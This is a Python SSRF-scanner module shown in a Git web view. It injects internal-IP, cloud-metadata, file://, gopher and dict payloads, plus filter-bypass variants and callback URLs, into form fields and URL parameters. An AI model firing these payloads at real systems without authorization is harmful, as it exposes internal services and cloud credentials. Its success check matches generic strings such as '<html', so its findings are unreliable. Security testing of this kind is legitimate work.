Files
XSS_Scanner/xss_scanner/scanners/ssrf_scanner.py
2025-03-09 13:49:12 +08:00

351 lines
13 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
SSRF服务器端请求伪造扫描器模块负责扫描SSRF漏洞
"""
import re
import logging
import random
import string
import time
import uuid
from urllib.parse import urlparse, urlencode, parse_qsl, unquote
logger = logging.getLogger('xss_scanner')
class SSRFScanner:
"""SSRF扫描器类负责扫描服务器端请求伪造漏洞"""
def __init__(self, http_client):
"""
初始化SSRF扫描器
Args:
http_client: HTTP客户端对象
"""
self.http_client = http_client
# 生成唯一标识符用于检测SSRF漏洞
self.ssrf_id = str(uuid.uuid4()).replace('-', '')[:16]
# SSRF检测域名
# 注意:在实际使用中,应该使用攻击者控制的服务器
# 这里提供的域名仅用于演示目的,需要替换为实际的回调服务器
self.callback_domain = f"https://ssrf-check.example.com/{self.ssrf_id}"
self.burp_collaborator = f"http://{self.ssrf_id}.burpcollaborator.net"
self.interact_domain = f"http://{self.ssrf_id}.interact.sh"
# SSRF检测Payload
self.payloads = [
# 基本检测
self.callback_domain,
self.burp_collaborator,
self.interact_domain,
# IP形式
"http://127.0.0.1",
"http://localhost",
"http://[::1]",
"http://0.0.0.0",
"http://0177.0000.0000.0001", # 127.0.0.1的八进制表示
"http://2130706433", # 127.0.0.1的整数表示
"http://0x7f.0x0.0x0.0x1", # 127.0.0.1的十六进制表示
# 内网 IP 范围
"http://10.0.0.1",
"http://172.16.0.1",
"http://192.168.0.1",
"http://169.254.169.254", # AWS元数据
"http://metadata.google.internal", # GCP元数据
# 不同端口
"http://127.0.0.1:22", # SSH
"http://127.0.0.1:3306", # MySQL
"http://127.0.0.1:5432", # PostgreSQL
"http://127.0.0.1:6379", # Redis
"http://127.0.0.1:9200", # Elasticsearch
"http://127.0.0.1:8080", # 常见Web端口
# 不同协议
"https://127.0.0.1",
"ftp://127.0.0.1",
"gopher://127.0.0.1:25/", # SMTP
"file:///etc/passwd",
"dict://127.0.0.1:6379/info", # Redis
# 平台相关
"http://169.254.169.254/latest/meta-data/", # AWS
"http://metadata.google.internal/computeMetadata/v1/", # GCP
"http://169.254.169.254/metadata/v1/", # DigitalOcean
"http://169.254.169.254/metadata", # Azure
# URL编码绕过
"http://%31%32%37%2e%30%2e%30%2e%31", # 127.0.0.1
"http://127.0.0.1%23@example.com", # 使用URL片段
"http://127.0.0.1%2f@example.com", # 使用斜杠
# DNS重绑定攻击
f"http://{self.ssrf_id}.example.com", # 会解析到内网IP
# 使用用户名密码形式
"http://user:pass@127.0.0.1",
# 空字节绕过 (适用于某些语言)
"http://127.0.0.1%00",
# 使用域名 + 解析到内部IP的域名
"http://spoofed.burpcollaborator.net",
# 利用重定向的SSRF
"http://redirector.example.com/?url=http://127.0.0.1"
]
# 可能的SSRF成功特征
self.success_patterns = [
# 服务器响应特征
"ssh-[0-9].[0-9]", # SSH banner
"mysql", # MySQL
"postgresql", # PostgreSQL
"redis_version", # Redis
"elastic", # Elasticsearch
"instance-id", # AWS metadata
"metadata", # Cloud metadata
"computeMetadata", # GCP metadata
# 常见HTTP回显内容
"<!DOCTYPE html>",
"<html",
"<head",
"<body",
# 系统文件特征
"root:.*:0:0:",
"bin:.*:1:1:",
# 错误消息特征
"Connection refused",
"No route to host",
"Name or service not known",
"Network is unreachable",
# 特定应用程序的特征
"Apache",
"nginx",
"IIS",
"Express",
"Tomcat",
# HTTP头
"X-Powered-By:",
"Server:",
# 自定义回调标记
self.ssrf_id
]
def scan_form(self, url, form, field):
"""
扫描表单中的SSRF漏洞
Args:
url: 页面URL
form: 表单信息
field: 字段信息
Returns:
dict: 漏洞信息如果没有发现漏洞则返回None
"""
if not field.get('name'):
return None
# 可能存在SSRF的字段名称
ssrf_prone_fields = [
'url', 'uri', 'link', 'host', 'ip', 'address', 'target', 'site',
'website', 'web', 'src', 'source', 'dest', 'destination', 'redirect',
'redirect_to', 'redirect_url', 'callback', 'api', 'endpoint',
'webhook', 'proxy', 'fetch', 'resource', 'feed', 'service',
'location', 'remote', 'forward', 'next', 'continue', 'return',
'return_url', 'continue_url', 'next_url', 'request'
]
# 如果字段名不包含敏感关键词,则跳过扫描
field_name_lower = field['name'].lower()
if not any(keyword in field_name_lower for keyword in ssrf_prone_fields):
return None
logger.debug(f"扫描SSRF: {field['name']} @ {url}")
# 获取表单提交URL
action_url = form['action'] if form['action'] else url
# 获取表单方法
method = form['method'].upper()
# 检测SSRF漏洞
for payload in self.payloads:
# 构建表单数据
form_data = {}
# 填充所有字段
for f in form.get('fields', []):
if f.get('name'):
# 如果是目标字段则使用Payload
if f['name'] == field['name']:
form_data[f['name']] = payload
else:
# 否则使用默认值
form_data[f['name']] = f.get('value', '')
# 发送请求
try:
logger.debug(f"测试Payload: {payload}")
if method == 'POST':
response = self.http_client.post(action_url, data=form_data)
else:
response = self.http_client.get(action_url, params=form_data)
if not response:
continue
# 检查响应中是否包含成功特征
if self._check_ssrf_success(response.text):
return {
'type': 'SSRF',
'url': url,
'form_action': action_url,
'form_method': method,
'parameter': field['name'],
'payload': payload,
'severity': '',
'description': f"在表单字段'{field['name']}'中发现服务器端请求伪造(SSRF)漏洞",
'details': f"表单提交到{action_url}{field['name']}字段存在SSRF漏洞可以访问内部网络资源",
'recommendation': "实施URL白名单使用间接引用禁止访问内部网络资源限制响应大小和类型"
}
# 在实际环境中,还需要检查回调服务器是否收到了请求
# 由于这是模拟环境,该步骤被省略
except Exception as e:
logger.error(f"扫描SSRF时发生错误: {str(e)}")
return None
def scan_parameter(self, url, param):
"""
扫描URL参数中的SSRF漏洞
Args:
url: 页面URL
param: 参数名
Returns:
dict: 漏洞信息如果没有发现漏洞则返回None
"""
# 可能存在SSRF的参数名称
ssrf_prone_params = [
'url', 'uri', 'link', 'host', 'ip', 'address', 'target', 'site',
'website', 'web', 'src', 'source', 'dest', 'destination', 'redirect',
'redirect_to', 'redirect_url', 'callback', 'api', 'endpoint',
'webhook', 'proxy', 'fetch', 'resource', 'feed', 'service',
'location', 'remote', 'forward', 'next', 'continue', 'return',
'return_url', 'continue_url', 'next_url', 'request'
]
# 如果参数名不包含敏感关键词,则跳过扫描
param_lower = param.lower()
if not any(keyword in param_lower for keyword in ssrf_prone_params):
return None
logger.debug(f"扫描SSRF参数: {param} @ {url}")
# 解析URL
parsed_url = urlparse(url)
# 获取查询参数
query_params = dict(parse_qsl(parsed_url.query))
# 如果参数不存在,则添加
if param not in query_params:
query_params[param] = ""
# 构建基础URL
base_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}"
# 检测SSRF漏洞
for payload in self.payloads:
# 构建注入参数
inject_params = query_params.copy()
inject_params[param] = payload
# 构建测试URL
query_string = urlencode(inject_params)
test_url = f"{base_url}?{query_string}"
try:
logger.debug(f"测试Payload: {payload}")
# 发送请求
response = self.http_client.get(test_url)
if not response:
continue
# 检查响应中是否包含成功特征
if self._check_ssrf_success(response.text):
return {
'type': 'SSRF',
'url': url,
'parameter': param,
'payload': payload,
'severity': '',
'description': f"在URL参数'{param}'中发现服务器端请求伪造(SSRF)漏洞",
'details': f"URL参数{param}存在SSRF漏洞可以访问内部网络资源",
'recommendation': "实施URL白名单使用间接引用禁止访问内部网络资源限制响应大小和类型"
}
# 在实际环境中,还需要检查回调服务器是否收到了请求
# 由于这是模拟环境,该步骤被省略
except Exception as e:
logger.error(f"扫描SSRF参数时发生错误: {str(e)}")
return None
def _check_ssrf_success(self, content):
"""
检查响应内容中是否包含SSRF成功的特征
Args:
content: 响应内容
Returns:
bool: 是否包含SSRF成功特征
"""
if not content:
return False
# 检查成功特征
for pattern in self.success_patterns:
if re.search(pattern, content, re.IGNORECASE):
return True
return False
def check_callback_server(self):
"""
检查回调服务器是否收到请求(在实际环境中实现)
Returns:
bool: 是否收到回调请求
"""
# 此功能在实际环境中需要实现
# 这里只是一个占位函数
return False
def can_scan_form(self):
"""是否可以扫描表单"""
return True
def can_scan_params(self):
"""是否可以扫描URL参数"""
return True